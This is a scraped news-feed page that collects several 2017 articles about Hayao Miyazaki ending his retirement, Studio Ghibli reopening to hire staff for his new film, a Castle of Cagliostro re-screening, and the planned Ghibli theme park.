Just a few years ago, Studio Ghibli’s future was in the air after co-founder and legendary animator Hayao Miyazaki (supposedly) retired. The place is about to be jumping again, however, as the studio announced that it has re-opened to start production on a recently-announced new film by the not-so-retired Miyazaki. He was on hand for a small ceremony on July 3rd, where he “brought together his main collaborators already engaged on his new feature film to talk to them about the project,” the company said in a news release (translated).

A re-opening normally wouldn’t be newsworthy, but at one point, it seemed like Studio Ghibli — behind masterpieces like Spirited Away, Princess Mononoke and Howl’s Moving Castle — would not produce any more films. Recently, however, Amazon announced that it would stream Ronja, the Robber’s Daughter, a children’s TV series directed by Miyazaki’s son Goro. Shortly after that came the news that the studio would produce a new film directed by Hayao Miyazaki.

Studio Ghibli hasn’t released any details about the film itself, but many fans think it will be an adaptation of Miyazaki’s first CGI short film Boro the Caterpillar. That short was delayed, but producer Toshio Suzuki has said it will likely be released in 2019 ahead of the Tokyo 2020 Olympic games.

Miyazaki has threatened retirement before, and when he stepped down in 2013, the company announced it would restructure for the next generation of animators. The films, while beloved by animation aficionados and cineastes, have never made tons of money — Studio Ghibli’s best-grossing film was Spirited Away, which made $ 275 million back in 2001.

Over the years, however, the films have gained a much larger following thanks to streaming and DVD, so the new one will likely be met with unprecedented anticipation. Adding to that, Miyazaki will be 80 when it’s completed, so this could definitely be his last film.

Via: Indie Wire

Source: Buta Connection (Facebook)

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]]> https://briefnews.eu/studio-ghibli-reopens-for-hayao-miyazakis-new-film/feed/ 0 Studio Ghibli Reopens As Hayao Miyazaki Refuses to Retire — Again https://briefnews.eu/studio-ghibli-reopens-as-hayao-miyazaki-refuses-to-retire-again/ https://briefnews.eu/studio-ghibli-reopens-as-hayao-miyazaki-refuses-to-retire-again/#respond Sat, 12 Aug 2017 14:49:02 +0000 http://briefnews.eu/studio-ghibli-reopens-as-hayao-miyazaki-refuses-to-retire-again/ hayao miyazaki kingdom of dreams and madness

No matter how many times he has announced it, Hayao Miyazaki will never retire. And we can only be grateful that a genius like him will keep blessing the world with his works.

Miyazaki announced (for the umpteenth time) that he would retire from the grueling world of animation that he revolutionized with films like Princess Mononoke and Spirited Away in 2013, after the release of his World War II epic The Wind Rises. But a comeback was inevitable — a few years later it was revealed that Miyazaki was secretly working on a short film called Boro The Caterpillar. Unsatisfied with the final product however, Miyazaki is expanding the short into a feature length film. His un-retirement became official today when Studio Ghibli, Miyazaki’s professional home for 30 years, reopened its production department to work on Miyazaki’s feature film.

On Friday, Studio Ghibli’s production department officially reopened its doors to work on Miyazaki’s new feature film, according to The Playlist.

The Playlist cited a translation of Ghibli’s official site, which announced that Miyazaki brought together his main collaborators to work on the feature film, and the studio is hiring new staff to work on the new production, which will start on an unknown date. It is unclear, however, whether the feature film that Miyazaki is working on at Ghibli is the feature-length version of Boro The Caterpillar or another film entirely.

Perhaps when Miyazaki announced his retirement from making animated feature films in 2013, he was only speaking about hand-drawn animation. Because his new purported film Boro The Caterpillar will actually be completely in CGI, a form of animation that Miyazaki once hilariously denounced as “an insult to life itself.” However, Miyazaki was recently smitten by the CGI bug, quickly learning the technology to bring to life Boro, which he describes as “a story of a tiny, hairy caterpillar, so tiny that it may be easily squished between your fingers.”

Miyazaki originally hoped to finish Boro The Caterpillar by the 2020 Tokyo Olympics. Currently, Miyazaki’s passion project is currently scheduled for a 2021 release, when Miyazaki turns 80.

Miyazaki is easily the greatest living animator today. His capacity for imaginative and profound storytelling is unrivaled, even as Japan and the rest of the world scramble to find a successor to the oft-called Godfather of Animation. Studio Ghibli, which Miyazaki co-founded with Isao Takahata and was responsible for the bulk of its award-winning films, was also at a loss when Miyazaki announced that he would retire — for real this time, he swore. In a post-Miyazaki world, the studio shuttered its feature film department and focused on bringing small acclaimed films like The Red Turtle to wide release, or collaborative projects like the Polygon Pictures partnership for Ronja the Robber’s Daughter series on Amazon Prime.

But Miyazaki has done this dance before. His first flirtation with retirement came with Princess Mononoke in 1997, which at the time he repeatedly called his last chance to make an epic action film (I don’t have an article to cite for this, it was in the Princess Mononoke special features which I have watched back to front). His fantastical masterpiece Spirited Away brought him out of this “retirement” in 2001, winning him his only Academy Award and getting him back in the director’s seat for three more movies. His final “retirement” was in 2013, and we all know what happened with that.

I could not be happier that Miyazaki is back for the foreseeable future. Spirited Away was a formative movie for me, and all of his films have led me on the path to becoming a movie buff. Although I worry about his well-being, as Miyazaki likes to be involved in every aspect of his movies’ productions and often insisted on drawing the key art himself, I’m confident that he will never truly retire. Just watch one of the many documentaries about Miyazaki — Never-Ending Man was specifically about how Miyazaki couldn’t put down the pen in his retirement — and appreciate that genius can never be retired.

The post Studio Ghibli Reopens As Hayao Miyazaki Refuses to Retire — Again appeared first on /Film.

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]]> https://briefnews.eu/studio-ghibli-reopens-as-hayao-miyazaki-refuses-to-retire-again/feed/ 0 Hayao Miyazaki’s Feature Directorial Debut Is Coming to the Big Screen in September https://briefnews.eu/hayao-miyazakis-feature-directorial-debut-is-coming-to-the-big-screen-in-september/ https://briefnews.eu/hayao-miyazakis-feature-directorial-debut-is-coming-to-the-big-screen-in-september/#respond Fri, 14 Jul 2017 02:59:48 +0000 http://briefnews.eu/hayao-miyazakis-feature-directorial-debut-is-coming-to-the-big-screen-in-september/ You’d think that the debut film of a director as influential — and with as fervent a following — as Hayao Miyazaki would’ve already had a re-release in some U.S. cinemas after, say, Spirited Away rose to international fame. But alas, The Castle of Cagliostro, the director’s first feature-length film, had no such thing. It received an extremely limited release when it came out in the U.S. almost 12 years following its opening in Japan in 1979. (About six years prior to the creation of Studio Ghibli.) Now the film — based off Monkey Punch’s wildly popular Lupin III manga series — will be screening “nationwide” (though how many theaters that actually means remains to be seen) on September 14 and 19 of this year in honor of the 50th anniversary of the manga series, thanks to organizer Fathom Events,

Though this was Miyazaki’s first time directing a feature, it was not his first venture into the life of the famous fictional thief Arsène Lupin III; the director had previously worked on episodes of the animated shows (Lupin III and Lupin III Part II) based on the manga. Cagliostro was, itself, a follow-up — and one that was less successful at the box office, though it’d ultimately become famed as Miyazaki’s first movie — to another Lupin III film, The Mystery of Mamo.

Cagliostro kicks off with a massive casino heist carried out by Lupin III and his sidekick, Daisuke Jigen — but it turns out all of the money they’ve stolen is counterfeit, and so they go searching for the origin of their fake cash in the country of Cagliostro. There, they encounter the princess of Cagliostro, Clarisse, and plot to free her from an arranged marriage to the power obsessed Duke Cagliostro.

Tickets go on sale on August 18. After that dose, in the near-ish future, lurks another Miyazaki film you certainly haven’t seen: his upcoming-ish “final” film, which is unlikely to arrive any time before 2021. 

[h/t Indiewire]

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]]> https://briefnews.eu/hayao-miyazakis-feature-directorial-debut-is-coming-to-the-big-screen-in-september/feed/ 0 Why Japan’s New Studio Ghibli Theme Park is So Exciting (and How It Will Reflect Hayao Miyazaki’s Films) https://briefnews.eu/why-japans-new-studio-ghibli-theme-park-is-so-exciting-and-how-it-will-reflect-hayao-miyazakis-films/ https://briefnews.eu/why-japans-new-studio-ghibli-theme-park-is-so-exciting-and-how-it-will-reflect-hayao-miyazakis-films/#respond Tue, 13 Jun 2017 16:27:07 +0000 http://briefnews.eu/why-japans-new-studio-ghibli-theme-park-is-so-exciting-and-how-it-will-reflect-hayao-miyazakis-films/ studio ghibli theme park

Japanese theme parks have been in the news a lot as of late. We recently reported on the news of Super Nintendo World coming to Universal Studios Japan (Forget about playing Mario Kart – soon you will be able to live the game Mario Kart). We also recently reported on a new attraction called Nemo & Friends SeaRider, developed by Pixar exclusively for Tokyo DisneySea.

In the midst of all this, it was announced that a Studio Ghibli theme park is coming to Japan just in time for the 2020 Tokyo Summer Olympics. Ghibli, of course, is the animation powerhouse behind such films as Princess Mononoke and Spirited Away. It has often been likened to Disney, with IMDb even listing “the Japanese Walt Disney” as an official nickname for the studio’s co-founder, Hayao Miyazaki.

Yet the Ghibli park promises to be a very different kind of experience, informed by the environmental sensibilities of Miyazaki’s films. A theme park that values immersion and harmony with nature over thrills has deep roots in the filmmaker’s thematic concerns.

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Before the Theme Park, There Was the Museum

Back in 2015, our very own Peter Sciretta fantasized about what a Ghibli theme park would look like, showcasing artwork from a Japanese illustrator under the headline “See the Studio Ghibli Theme Park We Wish Were Real.”

Then it was only a dream. Up until now, fans looking to experience a little bit of Ghibli in the real world have had to content themselves with the Ghibli Museum in Mitaka, Tokyo. However, tickets for this museum are notoriously hard to come by. An oasis of calm in a densely populated metropolis, full of towering, long-armed robots and other visual wonders, the venue is small and has a tendency to sell out rather quick.

Reservations are required, and there is only a five-day window a month or two in advance when they are available. Some fans probably dream of visiting, only to get left standing out in the rain. There is only so much disappointment you can take before you start to feel like the character Totoro, getting your fur wet while waiting for some Catbus that will never come.

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Adding further to the air of exclusivity about this place is the fact that no photography or video recording is allowed inside. Visitors are encouraged to experience the museum with their “own eyes and senses, instead of through a camera’s viewfinder.” So there are not a lot of images floating around online of what it looks like inside.

On the museum website, there is a personal message from Miyazaki, in which he lays out his philosophy as Executive Director. One of his stated goals is to make a museum where the building is “put together as a film … not arrogant, magnificent, flamboyant, or suffocating,” but rather, “a quality space where people can feel at home, especially when it’s not crowded.”

Needless to say, this goes against the ethos of most theme parks, whose chief aim at times seems to be wowing the masses with cheap thrills. Even the best parks occasionally succumb to a hollow showbiz flair, where it feels like they are just churning out pyrotechnics, lots of razzle-dazzle with no substance beyond some tacky merchandise.

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A Different Kind of Theme Park

In the same way that the Ghibli Museum envisions itself as “a portal to a storybook world” where the guest is “the main character in a story,” the Ghibli theme park looks to provide a more enriching personal experience, where guests can interact with the natural world among live-action recreations from the world of Ghibli.

Other sites have reported on how Ghibli World (or whatever they end up calling it) is not your typical theme park project. They are not cutting down any trees, and there are no “rides” planned in the traditional sense.

According to The Hollywood Reporter, the classic film My Neighbor Totoro is the basis for the first phase of the park and its initial attraction. In Aichi Prefecture, near the city of Nagoya (where Legoland Japan recently opened), an exact replica of “Satsuki and Mei’s House” from the movie already stands on the site of 2005 World’s Fair. The house served as an attraction at the fair, and now, in partnership with the local government, the area surrounding it is being developed into what sounds like the first “land” at Ghibli World.

The government is hoping to bring in other private partners to help sponsor the expansion of the park, as it looks to incorporate other Ghibli films into future attractions. Rather than bring in a bunch of bulldozers to pave the way, construction is being planned around existing clearings (again, to avoid felling any trees.)

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A Thematically Appropriate Theme Park

Anyone familiar with Miyazaki’s filmography will recognize this as a logical extension of his principles. Indeed, the encroachment of civilization, or urbanization, on nature is a thread running throughout his cinematic work.

Nowhere is this more evident than in Princess Mononoke (1997). Along with Akira (1988) and the recently remade Ghost in the Shell (1995), Prince Mononoke is generally regarded as one of those landmark films that helped popularize anime in the West.

Sure enough, the film’s central conflict is between agents of nature and human civilization, with forest gods and woodland spirits coming up against the people of Irontown. Rather than approaching it from a tree-hugger’s perspective, Miyazaki is not afraid to show nature red in tooth and claw, like the wolves that raised the title character.

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While Princess Mononoke is set hundreds of years ago, there are other Ghibli films with a more modern setting that reflect the same themes. In Tokyo, the western suburbs of Tama are actually famous for their ties to a couple other films. Namely, Pom Poko (1994) and Whisper of the Heart (1995).

The former depicted the expansion of residential developments on the realm of the tanuki, a belly-drumming animal with large testicles, otherwise known as the Japanese raccoon dog. The latter is the film that, weirdly enough, made the John Denver song, “Take Me Home, Country Roads” famous in Japan (a place where some people have still never heard of the Rolling Stones.)

In the movie, the main character, Shizuku, is translating the song’s lyrics for her school graduation, and there is a very memorable scene where she changes the words to bemoan the fact that the countryside has become concrete: singing about “chopped down forests” and “concrete roads, everywhere I go.”

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An Exciting Prospect

Incidentally, in 2016, there was an event called the Ghibli Expo held at Tokyo City View, an observation deck located on the 52nd floor of a skyscraper in the city’s Roppongi district. At this exhibition, they had a life-size Totoro behind a fake drink counter, greeting visitors on their way to other rooms, where they could climb aboard the Catbus for a quick photo op.

For the briefest of moments, a person might have actually felt like they were in the middle of their favorite Ghibli movie. The prospect of having that feeling play out on a larger scale, in a full-blown theme park, in the middle of green fields, is exciting, to say the least.

The post Why Japan’s New Studio Ghibli Theme Park is So Exciting (and How It Will Reflect Hayao Miyazaki’s Films) appeared first on /Film.

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]]> https://briefnews.eu/why-japans-new-studio-ghibli-theme-park-is-so-exciting-and-how-it-will-reflect-hayao-miyazakis-films/feed/ 0 Studio Ghibli’s Hayao Miyazaki to work on his final film this fall https://briefnews.eu/studio-ghiblis-hayao-miyazaki-to-work-on-his-final-film-this-fall/ https://briefnews.eu/studio-ghiblis-hayao-miyazaki-to-work-on-his-final-film-this-fall/#respond Sun, 21 May 2017 00:41:56 +0000 http://briefnews.eu/studio-ghiblis-hayao-miyazaki-to-work-on-his-final-film-this-fall/

Studio Ghibli fans have something else to look forward to after Ronja, the Robber’s Daughter. Hayao Miyazaki, famous Japanese animation filmmaker and the studio’s mastermind, will be coming out of his retirement to begin working on his last project this fall. A job posting spotted by AnimeNewsNetwork is looking for in-between animators and background artists to work on his final film for the next three years or longer, starting on October 1st. Miyazaki’s body of work includes Princess Mononoke, Spirited Away, Howl’s Moving Castle and My Neighbor Totoro. The animation maestro wants to finish the movie before the 2020 Olympics in Tokyo, but Ghibli producer Toshio Suzuki said that simply isn’t possible.

Ghibli struggled after Miyazaki left in 2013 and announced a hiatus less than a year later to restructure the company. The studio’s last feature film was actually released back in 2014 — it merely co-produced Ronja, which was directed by Miyazaki’s son Goro and which you can watch on Amazon Prime. Since the famous animator tried to retire several times in the past, we can’t say with 100 percent certainty that this truly will be his swan song. He will likely be 80 or older by the the time this project’s done, though, and the fate of Ghibli after he truly walks away from it remains uncertain, so you probably won’t want to miss this if you love his work.

Via: Polygon

Source: AnimeNewsNetwork, Studio Ghibli

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]]> https://briefnews.eu/studio-ghiblis-hayao-miyazaki-to-work-on-his-final-film-this-fall/feed/ 0 How To Work On Hayao Miyazaki’s New Movie https://briefnews.eu/how-to-work-on-hayao-miyazakis-new-movie/ https://briefnews.eu/how-to-work-on-hayao-miyazakis-new-movie/#respond Fri, 19 May 2017 11:12:53 +0000 http://briefnews.eu/how-to-work-on-hayao-miyazakis-new-movie/
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[GIF: 映画「夢と狂気の王国」

Hey, did you hear? Hayao Miyazaki has officially come out of retirement to make a new feature film. If you want to work on it, here’s how you can apply!

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Studio Ghibli has a job listing for the feature—which also means that Ghibli is going back into feature film production! The listing mentions how Miyazaki has decided to come out of retirement, writing, “Because of his age, this one is most certainly seems like the last work he will direct.”

The listing, which seems to have been penned by Ghibli producer Toshio Suzuki, is rather frank. It pointing out that “several important colleagues have died” in the past few years. (For example, color designer Michiyo Yasuda.)

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The listing adds, “To do this film, please lend us the power of youth. The [production] period is three years. We’re looking for those to come together to create this work.”

The gigs are for animation and background art. Those who are already working in the animation industry are also welcome to apply.

Successful candidates will begin work on October 1, 2017, which, I guess, means the movie goes into full time production then. The contract is for three years, and the salary is for over 200,000 yen (US$ 1,794) per month with twice annual bonuses. Travel to and from work will be reimbursed (though, there is a limit on how much travel allowance is allotted.) Work begins at 10am and ends at 7pm, with an hour break. There is overtime. Of course there is.

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Interested individuals should look at Studio Ghibli’s notice to see what is necessary to apply.

Studio Ghibli is looking for those over the age of 18. Your gender or, and this is important, nationality do not matter. (However, the listing states the studio is looking for those with the necessary Japanese level to work on the project.)

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The page is in Japanese, so while the studio says it doesn’t matter what your nationality is, you will need to be fairly proficient in the language so you can communicate with fellow employees and not impede the work flow.

Good luck to those who apply!

Kotaku East is your slice of Asian internet culture, bringing you the latest talking points from Japan, Korea, China and beyond. Tune in every morning from 4am to 8am.

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]]> https://briefnews.eu/how-to-work-on-hayao-miyazakis-new-movie/feed/ 0 Hayao Miyazaki is officially moving forward with a new Studio Ghibli movie https://briefnews.eu/hayao-miyazaki-is-officially-moving-forward-with-a-new-studio-ghibli-movie/ https://briefnews.eu/hayao-miyazaki-is-officially-moving-forward-with-a-new-studio-ghibli-movie/#respond Fri, 24 Feb 2017 14:53:50 +0000 http://briefnews.eu/hayao-miyazaki-is-officially-moving-forward-with-a-new-studio-ghibli-movie/

Get excited

Continue reading…

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]]> https://briefnews.eu/hayao-miyazaki-is-officially-moving-forward-with-a-new-studio-ghibli-movie/feed/ 0 Hayao Miyazaki’s Retirement Is Officially Over https://briefnews.eu/hayao-miyazakis-retirement-is-officially-over/ https://briefnews.eu/hayao-miyazakis-retirement-is-officially-over/#respond Fri, 24 Feb 2017 07:57:32 +0000 http://briefnews.eu/hayao-miyazakis-retirement-is-officially-over/
Image: 映画「夢と狂気の王国」

Back in 2013, Hayao Miyazaki retired from feature filmmaking, saying, “This time is for real.” Now, his long time producer says Miyazaki is coming out of retirement for another full-length movie.

Even though he had retired from features, Miyazaki continued to come into Studio Ghibli and work. After initially stepping away from directing features, Miyazaki began learning how to animate on a computer and was working on a CG short called Kemushi no Boro. As Kotaku previously reported last fall, Miyazaki wanted to turn that into a feature.

Miyazaki pitched Suzuki the idea, but there was no official decision on whether or not the movie would be made. Nothing was official.

During an a pre-Oscars interview with Toshio Suzuki for The Red Turtle, the producer apparently confirmed that, yes, Miyazaki is now working on a new feature film.

Note that this is a correspondent for Kyodo News, one of Japan’s largest news agencies:

According to the published Kyodo report, Suzuki said that Miyazaki has come out of retirement and was currently at work. “Right now in Tokyo, he’s putting all his effort into making it [the feature].” Suzuki is producing the picture.

As reported previously, the idea was to have the film out before the 2020 Tokyo Olympics.


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